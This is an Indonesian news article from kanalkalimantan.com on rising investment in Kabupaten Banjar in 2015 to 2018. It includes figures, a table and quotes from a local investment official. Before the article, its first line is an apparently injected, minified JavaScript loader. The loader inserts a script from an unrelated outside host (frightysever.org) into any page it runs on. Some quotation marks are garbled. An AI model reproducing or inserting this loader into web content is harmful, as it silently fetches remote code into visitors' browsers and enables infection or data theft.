(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sektor penanaman modal menjadi salah satu andalan untuk mendorong pembangunan di Kabupaten Banjar sepertinya semakin diminati oleh kalangan investor. Buktinya, dengan meningkatnya sektor penanaman modal yang terjadi di tahun 2016-2017 hingga mencapai 139%.
Dari target realisasi investasi yang ditetapkan sebesar Rp 1,5 triliun pada tahun 2017, telah tercapai Rp 3.853.827.445.570, mengalami kenaikan hingga 139 %. Jika dibanding tahun 2016 yang hanya mempunyai capaian investasi di Kabupaten Banjar sebesar Rp 1.612.249.876.065.
Meningkatnya kesadaran perusahaan untuk berinvestasi di wilayah Kabupaten Banjar dari tahun ketahun nampaknya akan terus berlanjut. Sejulah perusahaan yang berinvestasi seperti di tahun 2015 ada sebanyak 45 perusahaan, 2016 ada 55 perusahaan, dan 2017 ada sebanyak 69 perusahaan.
Untuk semester 1 mengingat sampai Mei 2018 ini saja juga sudah ada 56 perusahaan yang tercatat dengan total nilai investasi yang masuk sebesar Rp 281 miliar lebih.
Meningkatnya realisasi penanaman modal itu dibeberkan Kepala Bidang Penanaman Modal Dinas Penanaman Modal Dan Perizinan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar, Soeharto, akibat dari meningkatnya perekonomian daerah.
“Sekarang kesadaran perusahaan untuk berinvestasi di Kabupaten Banjar semakin bagus, banyak para investor yang berinvestasi di sektor real estate/perumahan, terbuktik jika di banding 2016 yang lalu dengan meningkatnya realisasi investasi hingga 139 % pada tahun 2017,†bebernya.
Soeharto menerangkan, real estate masih menjadi sektor investasi yang mendominasi jika di banding sektor lainnya. “Hingga Mei 2018 saja contohnya dari 56 perusahaan 26 diantaranya berinvestasi di real estate,†ungkapnya.
Banyak investor yang tidak tanggung-tanggung dalam berinvestasi di wilayah Kabupaten Banjar dengan nilai investasi miliaran rupiah, dari 56 perusahaan di 2018 ini sementara perusahaan dari PT Khansa Intan Bercahaya yang mempuniyai nilai investasi paling besar yaitu Rp 35,7 miliar.
Tahun | Jumlah Perusahaan | Nilai Investasi |
2015 | 45 | Rp 703.741.249.275 |
2016 | 55 | Rp 1.612.249.876.065 |
2017 | 69 | Rp 3.853.827.445.570 |
Mei 2018 | 56 | Rp 281.687.220.000 |
Berbagai macam upaya untuk meningkatkan nilai investasi terus diberikan oleh DPMPTSP Kabupaten Banjar, salah satunya dengan berbagai macam kemudahan pelayanan yang telah diberikan pihaknya seperti pendaftaran berkas perizinan yang diberian ada yang secara online ada yang datang langsung,
“Tak hanya sampai disitu setiap proses permohonan akan di informasikan melalui SMS gateway sejauhmana proses kemajuan perkembangan berkas tersebut,†sebut Soeharto.
Untuk semester 2 tahun 2018 ini pihaknya akan terus berupaya untuk meningkatkan nilai investasi tersebut. “Mengingat Sektor penanaman modal yang menjadi salah satu andalan untuk mendorong pembangunan di Kabupaten Banjar,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.